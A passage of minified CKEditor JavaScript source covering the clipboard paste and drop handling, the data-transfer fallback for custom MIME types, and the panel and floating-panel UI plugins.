a.data.preventDefault()}});k.attachListener(l,"drop",function(a){if(!a.data.$.defaultPrevented&&(a.data.preventDefault(),!b.readOnly)){var c=a.data.getTarget();if(!c.isReadOnly()||c.type==CKEDITOR.NODE_ELEMENT&&c.is("html")){var c=d.getRangeAtDropPosition(a,b),e=d.dragRange;c&&f(a,e,c)}}},null,null,9999);k.attachListener(b,"drop",d.initDragDataTransfer,d,null,1);k.attachListener(b,"drop",function(a){if(a=a.data){var f=a.dropRange,h=a.dragRange,k=a.dataTransfer;k.getTransferType(b)==CKEDITOR.DATA_TRANSFER_INTERNAL?
setTimeout(function(){d.internalDrop(h,f,k,b)},0):k.getTransferType(b)==CKEDITOR.DATA_TRANSFER_CROSS_EDITORS?c(h,f,k):e(f,k)}},null,null,9999)})}var k;CKEDITOR.plugins.add("clipboard",{requires:"dialog,notification,toolbar",init:function(a){function h(a){if(!a||p===a.id)return!1;var b=a.getTypes(),b=1===b.length&&"Files"===b[0];a=1===a.getFilesCount();return b&&a}var k,l=c(a);a.config.forcePasteAsPlainText?k="plain-text":a.config.pasteFilter?k=a.config.pasteFilter:!CKEDITOR.env.webkit||"pasteFilter"in
a.config||(k="semantic-content");a.pasteFilter=l.get(k);f(a);d(a);CKEDITOR.dialog.add("paste",CKEDITOR.getUrl(this.path+"dialogs/paste.js"));if(CKEDITOR.env.gecko){var q=["image/png","image/jpeg","image/gif"],p;a.on("paste",function(b){var d=b.data,c=d.dataTransfer;if(!d.dataValue&&"paste"==d.method&&h(c)&&(c=c.getFile(0),-1!=CKEDITOR.tools.indexOf(q,c.type))){var e=new FileReader;e.addEventListener("load",function(){b.data.dataValue='\x3cimg src\x3d"'+e.result+'" /\x3e';a.fire("paste",b.data)},!1);
e.addEventListener("abort",function(){a.fire("paste",b.data)},!1);e.addEventListener("error",function(){a.fire("paste",b.data)},!1);e.readAsDataURL(c);p=d.dataTransfer.id;b.stop()}},null,null,1)}a.on("paste",function(b){b.data.dataTransfer||(b.data.dataTransfer=new CKEDITOR.plugins.clipboard.dataTransfer);if(!b.data.dataValue){var d=b.data.dataTransfer,c=d.getData("text/html");if(c)b.data.dataValue=c,b.data.type="html";else if(c=d.getData("text/plain"))b.data.dataValue=a.editable().transformPlainTextToHtml(c),
b.data.type="text"}},null,null,1);a.on("paste",function(a){var b=a.data.dataValue,d=CKEDITOR.dtd.$block;-1<b.indexOf("Apple-")&&(b=b.replace(/<span class="Apple-converted-space"> <\/span>/gi," "),"html"!=a.data.type&&(b=b.replace(/<span class="Apple-tab-span"[^>]*>([^<]*)<\/span>/gi,function(a,b){return b.replace(/\t/g,"\x26nbsp;\x26nbsp; \x26nbsp;")})),-1<b.indexOf('\x3cbr class\x3d"Apple-interchange-newline"\x3e')&&(a.data.startsWithEOL=1,a.data.preSniffing="html",b=b.replace(/<br class="Apple-interchange-newline">/,
"")),b=b.replace(/(<[^>]+) class="Apple-[^"]*"/gi,"$1"));if(b.match(/^<[^<]+cke_(editable|contents)/i)){var c,e,g=new CKEDITOR.dom.element("div");for(g.setHtml(b);1==g.getChildCount()&&(c=g.getFirst())&&c.type==CKEDITOR.NODE_ELEMENT&&(c.hasClass("cke_editable")||c.hasClass("cke_contents"));)g=e=c;e&&(b=e.getHtml().replace(/<br>$/i,""))}CKEDITOR.env.ie?b=b.replace(/^ (?: |\r\n)?<(\w+)/g,function(b,c){return c.toLowerCase()in d?(a.data.preSniffing="html","\x3c"+c):b}):CKEDITOR.env.webkit?b=b.replace(/<\/(\w+)><div><br><\/div>$/,
function(b,c){return c in d?(a.data.endsWithEOL=1,"\x3c/"+c+"\x3e"):b}):CKEDITOR.env.gecko&&(b=b.replace(/(\s)<br>$/,"$1"));a.data.dataValue=b},null,null,3);a.on("paste",function(d){d=d.data;var c=a._.nextPasteType||d.type,f=d.dataValue,k,h=a.config.clipboard_defaultContentType||"html",n=d.dataTransfer.getTransferType(a)==CKEDITOR.DATA_TRANSFER_EXTERNAL,r=!0===a.config.forcePasteAsPlainText;k="html"==c||"html"==d.preSniffing?"html":e(f);delete a._.nextPasteType;"htmlifiedtext"==k&&(f=b(a.config,f));
if("text"==c&&"html"==k)f=m(a,f,l.get("plain-text"));else if(n&&a.pasteFilter&&!d.dontFilter||r)f=m(a,f,a.pasteFilter);d.startsWithEOL&&(f='\x3cbr data-cke-eol\x3d"1"\x3e'+f);d.endsWithEOL&&(f+='\x3cbr data-cke-eol\x3d"1"\x3e');"auto"==c&&(c="html"==k||"html"==h?"html":"text");d.type=c;d.dataValue=f;delete d.preSniffing;delete d.startsWithEOL;delete d.endsWithEOL},null,null,6);a.on("paste",function(b){b=b.data;b.dataValue&&(a.insertHtml(b.dataValue,b.type,b.range),setTimeout(function(){a.fire("afterPaste")},
0))},null,null,1E3);a.on("pasteDialog",function(b){setTimeout(function(){a.openDialog("paste",b.data)},0)})}});CKEDITOR.plugins.clipboard={isCustomCopyCutSupported:CKEDITOR.env.ie&&16>CKEDITOR.env.version||CKEDITOR.env.iOS&&605>CKEDITOR.env.version?!1:!0,isCustomDataTypesSupported:!CKEDITOR.env.ie||16<=CKEDITOR.env.version,isFileApiSupported:!CKEDITOR.env.ie||9<CKEDITOR.env.version,mainPasteEvent:CKEDITOR.env.ie&&!CKEDITOR.env.edge?"beforepaste":"paste",addPasteButton:function(a,b,d){a.ui.addButton&&
(a.ui.addButton(b,d),a._.pasteButtons||(a._.pasteButtons=[]),a._.pasteButtons.push(b))},canClipboardApiBeTrusted:function(a,b){return a.getTransferType(b)!=CKEDITOR.DATA_TRANSFER_EXTERNAL||CKEDITOR.env.chrome&&!a.isEmpty()||CKEDITOR.env.gecko&&(a.getData("text/html")||a.getFilesCount())||CKEDITOR.env.safari&&603<=CKEDITOR.env.version&&!CKEDITOR.env.iOS||CKEDITOR.env.iOS&&605<=CKEDITOR.env.version||CKEDITOR.env.edge&&16<=CKEDITOR.env.version?!0:!1},getDropTarget:function(a){var b=a.editable();return CKEDITOR.env.ie&&
9>CKEDITOR.env.version||b.isInline()?b:a.document},fixSplitNodesAfterDrop:function(a,b,d,c){function e(a,d,c){var g=a;g.type==CKEDITOR.NODE_TEXT&&(g=a.getParent());if(g.equals(d)&&c!=d.getChildCount())return a=b.startContainer.getChild(b.startOffset-1),d=b.startContainer.getChild(b.startOffset),a&&a.type==CKEDITOR.NODE_TEXT&&d&&d.type==CKEDITOR.NODE_TEXT&&(c=a.getLength(),a.setText(a.getText()+d.getText()),d.remove(),b.setStart(a,c),b.collapse(!0)),!0}var f=b.startContainer;"number"==typeof c&&"number"==
typeof d&&f.type==CKEDITOR.NODE_ELEMENT&&(e(a.startContainer,f,d)||e(a.endContainer,f,c))},isDropRangeAffectedByDragRange:function(a,b){var d=b.startContainer,c=b.endOffset;return a.endContainer.equals(d)&&a.endOffset<=c||a.startContainer.getParent().equals(d)&&a.startContainer.getIndex()<c||a.endContainer.getParent().equals(d)&&a.endContainer.getIndex()<c?!0:!1},internalDrop:function(b,d,c,e){var f=CKEDITOR.plugins.clipboard,k=e.editable(),h,l;e.fire("saveSnapshot");e.fire("lockSnapshot",{dontUpdate:1});
CKEDITOR.env.ie&&10>CKEDITOR.env.version&&this.fixSplitNodesAfterDrop(b,d,f.dragStartContainerChildCount,f.dragEndContainerChildCount);(l=this.isDropRangeAffectedByDragRange(b,d))||(h=b.createBookmark(!1));f=d.clone().createBookmark(!1);l&&(h=b.createBookmark(!1));b=h.startNode;d=h.endNode;l=f.startNode;d&&b.getPosition(l)&CKEDITOR.POSITION_PRECEDING&&d.getPosition(l)&CKEDITOR.POSITION_FOLLOWING&&l.insertBefore(b);b=e.createRange();b.moveToBookmark(h);k.extractHtmlFromRange(b,1);d=e.createRange();
f.startNode.getCommonAncestor(k)||(f=e.getSelection().createBookmarks()[0]);d.moveToBookmark(f);a(e,{dataTransfer:c,method:"drop",range:d},1);e.fire("unlockSnapshot")},getRangeAtDropPosition:function(a,b){var d=a.data.$,c=d.clientX,e=d.clientY,f=b.getSelection(!0).getRanges()[0],k=b.createRange();if(a.data.testRange)return a.data.testRange;if(document.caretRangeFromPoint&&b.document.$.caretRangeFromPoint(c,e))d=b.document.$.caretRangeFromPoint(c,e),k.setStart(CKEDITOR.dom.node(d.startContainer),d.startOffset),
k.collapse(!0);else if(d.rangeParent)k.setStart(CKEDITOR.dom.node(d.rangeParent),d.rangeOffset),k.collapse(!0);else{if(CKEDITOR.env.ie&&8<CKEDITOR.env.version&&f&&b.editable().hasFocus)return f;if(document.body.createTextRange){b.focus();d=b.document.getBody().$.createTextRange();try{for(var h=!1,l=0;20>l&&!h;l++){if(!h)try{d.moveToPoint(c,e-l),h=!0}catch(m){}if(!h)try{d.moveToPoint(c,e+l),h=!0}catch(v){}}if(h){var y="cke-temp-"+(new Date).getTime();d.pasteHTML('\x3cspan id\x3d"'+y+'"\x3e\x3c/span\x3e');
var z=b.document.getById(y);k.moveToPosition(z,CKEDITOR.POSITION_BEFORE_START);z.remove()}else{var A=b.document.$.elementFromPoint(c,e),D=new CKEDITOR.dom.element(A),G;if(D.equals(b.editable())||"html"==D.getName())return f&&f.startContainer&&!f.startContainer.equals(b.editable())?f:null;G=D.getClientRect();c<G.left?k.setStartAt(D,CKEDITOR.POSITION_AFTER_START):k.setStartAt(D,CKEDITOR.POSITION_BEFORE_END);k.collapse(!0)}}catch(E){return null}}else return null}return k},initDragDataTransfer:function(a,
b){var d=a.data.$?a.data.$.dataTransfer:null,c=new this.dataTransfer(d,b);"dragstart"===a.name&&c.storeId();d?this.dragData&&c.id==this.dragData.id?c=this.dragData:this.dragData=c:this.dragData?c=this.dragData:this.dragData=c;a.data.dataTransfer=c},resetDragDataTransfer:function(){this.dragData=null},initPasteDataTransfer:function(a,b){if(this.isCustomCopyCutSupported){if(a&&a.data&&a.data.$){var d=a.data.$.clipboardData,c=new this.dataTransfer(d,b);"copy"!==a.name&&"cut"!==a.name||c.storeId();this.copyCutData&&
c.id==this.copyCutData.id?(c=this.copyCutData,c.$=d):this.copyCutData=c;return c}return new this.dataTransfer(null,b)}return new this.dataTransfer(CKEDITOR.env.edge&&a&&a.data.$&&a.data.$.clipboardData||null,b)},preventDefaultDropOnElement:function(a){a&&a.on("dragover",l)}};k=CKEDITOR.plugins.clipboard.isCustomDataTypesSupported?"cke/id":"Text";CKEDITOR.plugins.clipboard.dataTransfer=function(a,b){a&&(this.$=a);this._={metaRegExp:/^<meta.*?>/i,bodyRegExp:/<body(?:[\s\S]*?)>([\s\S]*)<\/body>/i,fragmentRegExp:/\s*\x3c!--StartFragment--\x3e|\x3c!--EndFragment--\x3e\s*/g,
data:{},files:[],nativeHtmlCache:"",normalizeType:function(a){a=a.toLowerCase();return"text"==a||"text/plain"==a?"Text":"url"==a?"URL":a}};this._.fallbackDataTransfer=new CKEDITOR.plugins.clipboard.fallbackDataTransfer(this);this.id=this.getData(k);this.id||(this.id="Text"==k?"":"cke-"+CKEDITOR.tools.getUniqueId());b&&(this.sourceEditor=b,this.setData("text/html",b.getSelectedHtml(1)),"Text"==k||this.getData("text/plain")||this.setData("text/plain",b.getSelection().getSelectedText()))};CKEDITOR.DATA_TRANSFER_INTERNAL=
1;CKEDITOR.DATA_TRANSFER_CROSS_EDITORS=2;CKEDITOR.DATA_TRANSFER_EXTERNAL=3;CKEDITOR.plugins.clipboard.dataTransfer.prototype={getData:function(a,b){a=this._.normalizeType(a);var d="text/html"==a&&b?this._.nativeHtmlCache:this._.data[a];if(void 0===d||null===d||""===d){if(this._.fallbackDataTransfer.isRequired())d=this._.fallbackDataTransfer.getData(a,b);else try{d=this.$.getData(a)||""}catch(c){d=""}"text/html"!=a||b||(d=this._stripHtml(d))}"Text"==a&&CKEDITOR.env.gecko&&this.getFilesCount()&&"file://"==
d.substring(0,7)&&(d="");if("string"===typeof d)var e=d.indexOf("\x3c/html\x3e"),d=-1!==e?d.substring(0,e+7):d;return d},setData:function(a,b){a=this._.normalizeType(a);"text/html"==a?(this._.data[a]=this._stripHtml(b),this._.nativeHtmlCache=b):this._.data[a]=b;if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported||"URL"==a||"Text"==a)if("Text"==k&&"Text"==a&&(this.id=b),this._.fallbackDataTransfer.isRequired())this._.fallbackDataTransfer.setData(a,b);else try{this.$.setData(a,b)}catch(d){}},storeId:function(){"Text"!==
k&&this.setData(k,this.id)},getTransferType:function(a){return this.sourceEditor?this.sourceEditor==a?CKEDITOR.DATA_TRANSFER_INTERNAL:CKEDITOR.DATA_TRANSFER_CROSS_EDITORS:CKEDITOR.DATA_TRANSFER_EXTERNAL},cacheData:function(){function a(d){d=b._.normalizeType(d);var c=b.getData(d);"text/html"==d&&(b._.nativeHtmlCache=b.getData(d,!0),c=b._stripHtml(c));c&&(b._.data[d]=c)}if(this.$){var b=this,d,c;if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported){if(this.$.types)for(d=0;d<this.$.types.length;d++)a(this.$.types[d])}else a("Text"),
a("URL");c=this._getImageFromClipboard();if(this.$&&this.$.files||c){this._.files=[];if(this.$.files&&this.$.files.length)for(d=0;d<this.$.files.length;d++)this._.files.push(this.$.files[d]);0===this._.files.length&&c&&this._.files.push(c)}}},getFilesCount:function(){return this._.files.length?this._.files.length:this.$&&this.$.files&&this.$.files.length?this.$.files.length:this._getImageFromClipboard()?1:0},getFile:function(a){return this._.files.length?this._.files[a]:this.$&&this.$.files&&this.$.files.length?
this.$.files[a]:0===a?this._getImageFromClipboard():void 0},isEmpty:function(){var a={},b;if(this.getFilesCount())return!1;CKEDITOR.tools.array.forEach(CKEDITOR.tools.object.keys(this._.data),function(b){a[b]=1});if(this.$)if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported){if(this.$.types)for(var d=0;d<this.$.types.length;d++)a[this.$.types[d]]=1}else a.Text=1,a.URL=1;"Text"!=k&&(a[k]=0);for(b in a)if(a[b]&&""!==this.getData(b))return!1;return!0},getTypes:function(){return this.$&&this.$.types?
[].slice.call(this.$.types):[]},_getImageFromClipboard:function(){var a;try{if(this.$&&this.$.items&&this.$.items[0]&&(a=this.$.items[0].getAsFile())&&a.type)return a}catch(b){}},_stripHtml:function(a){if(a&&a.length){a=a.replace(this._.metaRegExp,"");var b=this._.bodyRegExp.exec(a);b&&b.length&&(a=b[1],a=a.replace(this._.fragmentRegExp,""))}return a}};CKEDITOR.plugins.clipboard.fallbackDataTransfer=function(a){this._dataTransfer=a;this._customDataFallbackType="text/html"};CKEDITOR.plugins.clipboard.fallbackDataTransfer._isCustomMimeTypeSupported=
null;CKEDITOR.plugins.clipboard.fallbackDataTransfer._customTypes=[];CKEDITOR.plugins.clipboard.fallbackDataTransfer.prototype={isRequired:function(){var a=CKEDITOR.plugins.clipboard.fallbackDataTransfer,b=this._dataTransfer.$;if(null===a._isCustomMimeTypeSupported)if(b){a._isCustomMimeTypeSupported=!1;if(CKEDITOR.env.edge&&17<=CKEDITOR.env.version)return!0;try{b.setData("cke/mimetypetest","cke test value"),a._isCustomMimeTypeSupported="cke test value"===b.getData("cke/mimetypetest"),b.clearData("cke/mimetypetest")}catch(d){}}else return!1;
return!a._isCustomMimeTypeSupported},getData:function(a,b){var d=this._getData(this._customDataFallbackType,!0);if(b)return d;var d=this._extractDataComment(d),c=null,c=a===this._customDataFallbackType?d.content:d.data&&d.data[a]?d.data[a]:this._getData(a,!0);return null!==c?c:""},setData:function(a,b){var d=a===this._customDataFallbackType;d&&(b=this._applyDataComment(b,this._getFallbackTypeData()));var c=b,e=this._dataTransfer.$;try{e.setData(a,c),d&&(this._dataTransfer._.nativeHtmlCache=c)}catch(f){if(this._isUnsupportedMimeTypeError(f)){d=
CKEDITOR.plugins.clipboard.fallbackDataTransfer;-1===CKEDITOR.tools.indexOf(d._customTypes,a)&&d._customTypes.push(a);var d=this._getFallbackTypeContent(),k=this._getFallbackTypeData();k[a]=c;try{c=this._applyDataComment(d,k),e.setData(this._customDataFallbackType,c),this._dataTransfer._.nativeHtmlCache=c}catch(h){c=""}}}return c},_getData:function(a,b){var d=this._dataTransfer._.data;if(!b&&d[a])return d[a];try{return this._dataTransfer.$.getData(a)}catch(c){return null}},_getFallbackTypeContent:function(){var a=
this._dataTransfer._.data[this._customDataFallbackType];a||(a=this._extractDataComment(this._getData(this._customDataFallbackType,!0)).content);return a},_getFallbackTypeData:function(){var a=CKEDITOR.plugins.clipboard.fallbackDataTransfer._customTypes,b=this._extractDataComment(this._getData(this._customDataFallbackType,!0)).data||{},d=this._dataTransfer._.data;CKEDITOR.tools.array.forEach(a,function(a){void 0!==d[a]?b[a]=d[a]:void 0!==b[a]&&(b[a]=b[a])},this);return b},_isUnsupportedMimeTypeError:function(a){return a.message&&
-1!==a.message.search(/element not found/gi)},_extractDataComment:function(a){var b={data:null,content:a||""};if(a&&16<a.length){var d;(d=/\x3c!--cke-data:(.*?)--\x3e/g.exec(a))&&d[1]&&(b.data=JSON.parse(decodeURIComponent(d[1])),b.content=a.replace(d[0],""))}return b},_applyDataComment:function(a,b){var d="";b&&CKEDITOR.tools.object.keys(b).length&&(d="\x3c!--cke-data:"+encodeURIComponent(JSON.stringify(b))+"--\x3e");return d+(a&&a.length?a:"")}}})();CKEDITOR.config.clipboard_notificationDuration=
1E4;(function(){CKEDITOR.plugins.add("panel",{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_PANEL,CKEDITOR.ui.panel.handler)}});CKEDITOR.UI_PANEL="panel";CKEDITOR.ui.panel=function(a,c){c&&CKEDITOR.tools.extend(this,c);CKEDITOR.tools.extend(this,{className:"",css:[]});this.id=CKEDITOR.tools.getNextId();this.document=a;this.isFramed=this.forceIFrame||this.css.length;this._={blocks:{}}};CKEDITOR.ui.panel.handler={create:function(a){return new CKEDITOR.ui.panel(a)}};var a=CKEDITOR.addTemplate("panel",
'\x3cdiv lang\x3d"{langCode}" id\x3d"{id}" dir\x3d{dir} class\x3d"cke cke_reset_all {editorId} cke_panel cke_panel {cls} cke_{dir}" style\x3d"z-index:{z-index}" role\x3d"presentation"\x3e{frame}\x3c/div\x3e'),f=CKEDITOR.addTemplate("panel-frame",'\x3ciframe id\x3d"{id}" class\x3d"cke_panel_frame" role\x3d"presentation" frameborder\x3d"0" src\x3d"{src}"\x3e\x3c/iframe\x3e'),e=CKEDITOR.addTemplate("panel-frame-inner",'\x3c!DOCTYPE html\x3e\x3chtml class\x3d"cke_panel_container {env}" dir\x3d"{dir}" lang\x3d"{langCode}"\x3e\x3chead\x3e{css}\x3c/head\x3e\x3cbody class\x3d"cke_{dir}" style\x3d"margin:0;padding:0" onload\x3d"{onload}"\x3e\x3c/body\x3e\x3c/html\x3e');
CKEDITOR.ui.panel.prototype={render:function(b,c){var m={editorId:b.id,id:this.id,langCode:b.langCode,dir:b.lang.dir,cls:this.className,frame:"",env:CKEDITOR.env.cssClass,"z-index":b.config.baseFloatZIndex+1};this.getHolderElement=function(){var a=this._.holder;if(!a){if(this.isFramed){var a=this.document.getById(this.id+"_frame"),b=a.getParent(),a=a.getFrameDocument();CKEDITOR.env.iOS&&b.setStyles({overflow:"scroll","-webkit-overflow-scrolling":"touch"});b=CKEDITOR.tools.addFunction(CKEDITOR.tools.bind(function(){this.isLoaded=
!0;if(this.onLoad)this.onLoad()},this));a.write(e.output(CKEDITOR.tools.extend({css:CKEDITOR.tools.buildStyleHtml(this.css),onload:"window.parent.CKEDITOR.tools.callFunction("+b+");"},m)));a.getWindow().$.CKEDITOR=CKEDITOR;a.on("keydown",function(a){var b=a.data.getKeystroke(),d=this.document.getById(this.id).getAttribute("dir");if("input"!==a.data.getTarget().getName()||37!==b&&39!==b)this._.onKeyDown&&!1===this._.onKeyDown(b)?"input"===a.data.getTarget().getName()&&32===b||a.data.preventDefault():
(27==b||b==("rtl"==d?39:37))&&this.onEscape&&!1===this.onEscape(b)&&a.data.preventDefault()},this);a=a.getBody();a.unselectable();CKEDITOR.env.air&&CKEDITOR.tools.callFunction(b)}else a=this.document.getById(this.id);this._.holder=a}return a};if(this.isFramed){var h=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie&&!CKEDITOR.env.edge?"javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())":"";m.frame=f.output({id:this.id+"_frame",
src:h})}h=a.output(m);c&&c.push(h);return h},addBlock:function(a,c){c=this._.blocks[a]=c instanceof CKEDITOR.ui.panel.block?c:new CKEDITOR.ui.panel.block(this.getHolderElement(),c);this._.currentBlock||this.showBlock(a);return c},getBlock:function(a){return this._.blocks[a]},showBlock:function(a){a=this._.blocks[a];var c=this._.currentBlock,e=!this.forceIFrame||CKEDITOR.env.ie?this._.holder:this.document.getById(this.id+"_frame");c&&c.hide();this._.currentBlock=a;CKEDITOR.fire("ariaWidget",e);a._.focusIndex=
-1;this._.onKeyDown=a.onKeyDown&&CKEDITOR.tools.bind(a.onKeyDown,a);a.show();return a},destroy:function(){this.element&&this.element.remove()}};CKEDITOR.ui.panel.block=CKEDITOR.tools.createClass({$:function(a,c){this.element=a.append(a.getDocument().createElement("div",{attributes:{tabindex:-1,"class":"cke_panel_block"},styles:{display:"none"}}));c&&CKEDITOR.tools.extend(this,c);this.element.setAttributes({role:this.attributes.role||"presentation","aria-label":this.attributes["aria-label"],title:this.attributes.title||
this.attributes["aria-label"]});this.keys={};this._.focusIndex=-1;this.element.disableContextMenu()},_:{markItem:function(a){-1!=a&&(a=this._.getItems().getItem(this._.focusIndex=a),CKEDITOR.env.webkit&&a.getDocument().getWindow().focus(),a.focus(),this.onMark&&this.onMark(a))},markFirstDisplayed:function(a){for(var c=function(a){return a.type==CKEDITOR.NODE_ELEMENT&&"none"==a.getStyle("display")},e=this._.getItems(),f,l,d=e.count()-1;0<=d;d--)if(f=e.getItem(d),f.getAscendant(c)||(l=f,this._.focusIndex=
d),"true"==f.getAttribute("aria-selected")){l=f;this._.focusIndex=d;break}l&&(a&&a(),CKEDITOR.env.webkit&&l.getDocument().getWindow().focus(),l.focus(),this.onMark&&this.onMark(l))},getItems:function(){return this.element.find("a,input")}},proto:{show:function(){this.element.setStyle("display","")},hide:function(){this.onHide&&!0===this.onHide.call(this)||this.element.setStyle("display","none")},onKeyDown:function(a,c){var e=this.keys[a];switch(e){case "next":for(var f=this._.focusIndex,e=this._.getItems(),
l;l=e.getItem(++f);)if(l.getAttribute("_cke_focus")&&l.$.offsetWidth){this._.focusIndex=f;l.focus(!0);break}return l||c?!1:(this._.focusIndex=-1,this.onKeyDown(a,1));case "prev":f=this._.focusIndex;for(e=this._.getItems();0<f&&(l=e.getItem(--f));){if(l.getAttribute("_cke_focus")&&l.$.offsetWidth){this._.focusIndex=f;l.focus(!0);break}l=null}return l||c?!1:(this._.focusIndex=e.count(),this.onKeyDown(a,1));case "click":case "mouseup":return f=this._.focusIndex,(l=0<=f&&this._.getItems().getItem(f))&&
l.fireEventHandler(e,{button:CKEDITOR.tools.normalizeMouseButton(CKEDITOR.MOUSE_BUTTON_LEFT,!0)}),!1}return!0}}})})();CKEDITOR.plugins.add("floatpanel",{requires:"panel"});(function(){function a(a,b,c,m,h){h=CKEDITOR.tools.genKey(b.getUniqueId(),c.getUniqueId(),a.lang.dir,a.uiColor||"",m.css||"",h||"");var l=f[h];l||(l=f[h]=new CKEDITOR.ui.panel(b,m),l.element=c.append(CKEDITOR.dom.element.createFromHtml(l.render(a),b)),l.element.setStyles({display:"none",position:"absolute"}));return l}var f={};
CKEDITOR.ui.floatPanel=CKEDITOR.tools.createClass({$:function(e,b,c,f){function h(){g.hide()}c.forceIFrame=1;c.toolbarRelated&&e.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&&(b=CKEDITOR.document.getById("cke_"+e.name));var l=b.getDocument();f=a(e,l,b,c,f||0);var d=f.element,k=d.getFirst(),g=this;d.disableContextMenu();this.element=d;this._={editor:e,panel:f,parentElement:b,definition:c,document:l,iframe:k,children:[],dir:e.lang.dir,showBlockParams:null,markFirst:void 0!==c.markFirst?c.markFirst:!0};
e.on("mode",h);e.on("resize",h);l.getWindow().on("resize",function(){this.reposition()},this)},proto:{addBlock:function(a,b){return this._.panel.addBlock(a,b)},addListBlock:function(a,b){return this._.panel.addListBlock(a,b)},getBlock:function(a){return this._.panel.getBlock(a)},showBlock:function(a,b,c,f,h,l){var d=this._.panel,k=d.showBlock(a);this._.showBlockParams=[].slice.call(arguments);this.allowBlur(!1);var g=this._.editor.editable();this._.returnFocus=g.hasFocus?g:new CKEDITOR.dom.element(CKEDITOR.document.$.activeElement);
this._.hideTimeout=0;var n=this.element,g=this._.iframe,g=CKEDITOR.env.ie&&!CKEDITOR.env.edge?g:new CKEDITOR.dom.window(g.$.contentWindow),r=n.getDocument(),w=this._.parentElement.getPositionedAncestor(),q=b.getDocumentPosition(r),r=w?w.getDocumentPosition(r):{x:0,y:0},p="rtl"==this._.dir,u=q.x+(f||0)-r.x,x=q.y+(h||0)-r.y;!p||1!=c&&4!=c?p||2!=c&&3!=c||(u+=b.$.offsetWidth-1):u+=b.$.offsetWidth;if(3==c||4==c)x+=b.$.offsetHeight-1;this._.panel._.offsetParentId=b.getId();n.setStyles({top:x+"px",left:0,
display:""});n.setOpacity(0);n.getFirst().removeStyle("width");this._.editor.focusManager.add(g);this._.blurSet||(CKEDITOR.event.useCapture=!0,g.on("blur",function(a){function b(){delete this._.returnFocus;this.hide()}this.allowBlur()&&a.data.getPhase()==CKEDITOR.EVENT_PHASE_AT_TARGET&&this.visible&&!this._.activeChild&&(CKEDITOR.env.iOS?this._.hideTimeout||(this._.hideTimeout=CKEDITOR.tools.setTimeout(b,0,this)):b.call(this))},this),g.on("focus",function(){this._.focused=!0;this.hideChild();this.allowBlur(!0)},
this),CKEDITOR.env.iOS&&(g.on("touchstart",function(){clearTimeout(this._.hideTimeout)},this),g.on("touchend",function(){this._.hideTimeout=0;this.focus()},this)),CKEDITOR.event.useCapture=!1,this._.blurSet=1);d.onEscape=CKEDITOR.tools.bind(function(a){if(this.onEscape&&!1===this.onEscape(a))return!1},this);CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.tools.bind(function(){var a=n;a.removeStyle("width");if(k.autoSize){var b=k.element.getDocument(),b=(CKEDITOR.env.webkit||CKEDITOR.env.edge?
k.element:b.getBody()).$.scrollWidth;CKEDITOR.env.ie&&CKEDITOR.env.quirks&&0<b&&(b+=(a.$.offsetWidth||0)-(a.$.clientWidth||0)+3);a.setStyle("width",b+10+"px");b=k.element.$.scrollHeight;CKEDITOR.env.ie&&CKEDITOR.env.quirks&&0<b&&(b+=(a.$.offsetHeight||0)-(a.$.clientHeight||0)+3);a.setStyle("height",b+"px");d._.currentBlock.element.setStyle("display","none").removeStyle("display")}else a.removeStyle("height");p&&(u-=n.$.offsetWidth);n.setStyle("left",u+"px");var b=d.element.getWindow(),a=n.$.getBoundingClientRect(),
b=b.getViewPaneSize(),c=a.width||a.right-a.left,e=a.height||a.bottom-a.top,f=p?a.right:b.width-a.left,g=p?b.width-a.right:a.left;p?f<c&&(u=g>c?u+c:b.width>c?u-a.left:u-a.right+b.width):f<c&&(u=g>c?u-c:b.width>c?u-a.right+b.width:u-a.left);c=a.top;b.height-a.top<e&&(x=c>e?x-e:b.height>e?x-a.bottom+b.height:x-a.top);CKEDITOR.env.ie&&!CKEDITOR.env.edge&&((b=a=n.$.offsetParent&&new CKEDITOR.dom.element(n.$.offsetParent))&&"html"==b.getName()&&(b=b.getDocument().getBody()),b&&"rtl"==b.getComputedStyle("direction")&&
(u=CKEDITOR.env.ie8Compat?u-2*n.getDocument().getDocumentElement().$.scrollLeft:u-(a.$.scrollWidth-a.$.clientWidth)));var a=n.getFirst(),h;(h=a.getCustomData("activePanel"))&&h.onHide&&h.onHide.call(this,1);a.setCustomData("activePanel",this);n.setStyles({top:x+"px",left:u+"px"});n.setOpacity(1);l&&l()},this);d.isLoaded?a():d.onLoad=a;CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.env.webkit&&CKEDITOR.document.getWindow().getScrollPosition().y;this.focus();k.element.focus();CKEDITOR.env.webkit&&
(CKEDITOR.document.getBody().$.scrollTop=a);this.allowBlur(!0);this._.markFirst&&(CKEDITOR.env.ie?CKEDITOR.tools.setTimeout(function(){k.markFirstDisplayed?k.markFirstDisplayed():k._.markFirstDisplayed()},0):k.markFirstDisplayed?k.markFirstDisplayed():k._.markFirstDisplayed());this._.editor.fire("panelShow",this)},0,this)},CKEDITOR.env.air?200:0,this);this.visible=1;this.onShow&&this.onShow.call(this)},reposition:function(){var a=this._.showBlockParams;this.visible&&this._.showBlockParams&&(this.hide(),
this.showBlock.apply(this,a))},focus:function(){if(CKEDITOR.env.webkit){var a=CKEDITOR.document.getActive();a&&!a.equals(this._.iframe)&&a.$.blur()}(this._.lastFocused||this._.iframe.getFrameDocument().getWindow()).focus()},blur:function(){var a=this._.iframe.getFrameDocument().getActive();a&&a.is("a")&&(this._.lastFocused=a)},hide:function(a){if(this.visible&&(!this.onHide||!0!==this.onHide.call(this))){this.hideChild();CKEDITOR.env.gecko&&this._.iframe.getFrameDocument().$.activeElement.blur();
this.element.setStyle("display","none");this.visible=0;this.element.getFirst().removeCustomData("activePanel");if(a=a&&this._.returnFocus)CKEDITOR.env.webkit&&a.type&&a.getWindow().$.focus(),a.focus();delete this._.lastFocused;this._.showBlockParams=null;this._.editor.fire("panelHide",this)}},allowBlur:function(a){var b=this._.panel;void 0!==a&&(b.allowBlur=a);return b.allowBlur},showAsChild:function(a,b,c,f,h,l){if(this._.activeChild!=a||a._.panel._.offsetParentId!=c.getId())this.hideChild(),a.onHide=
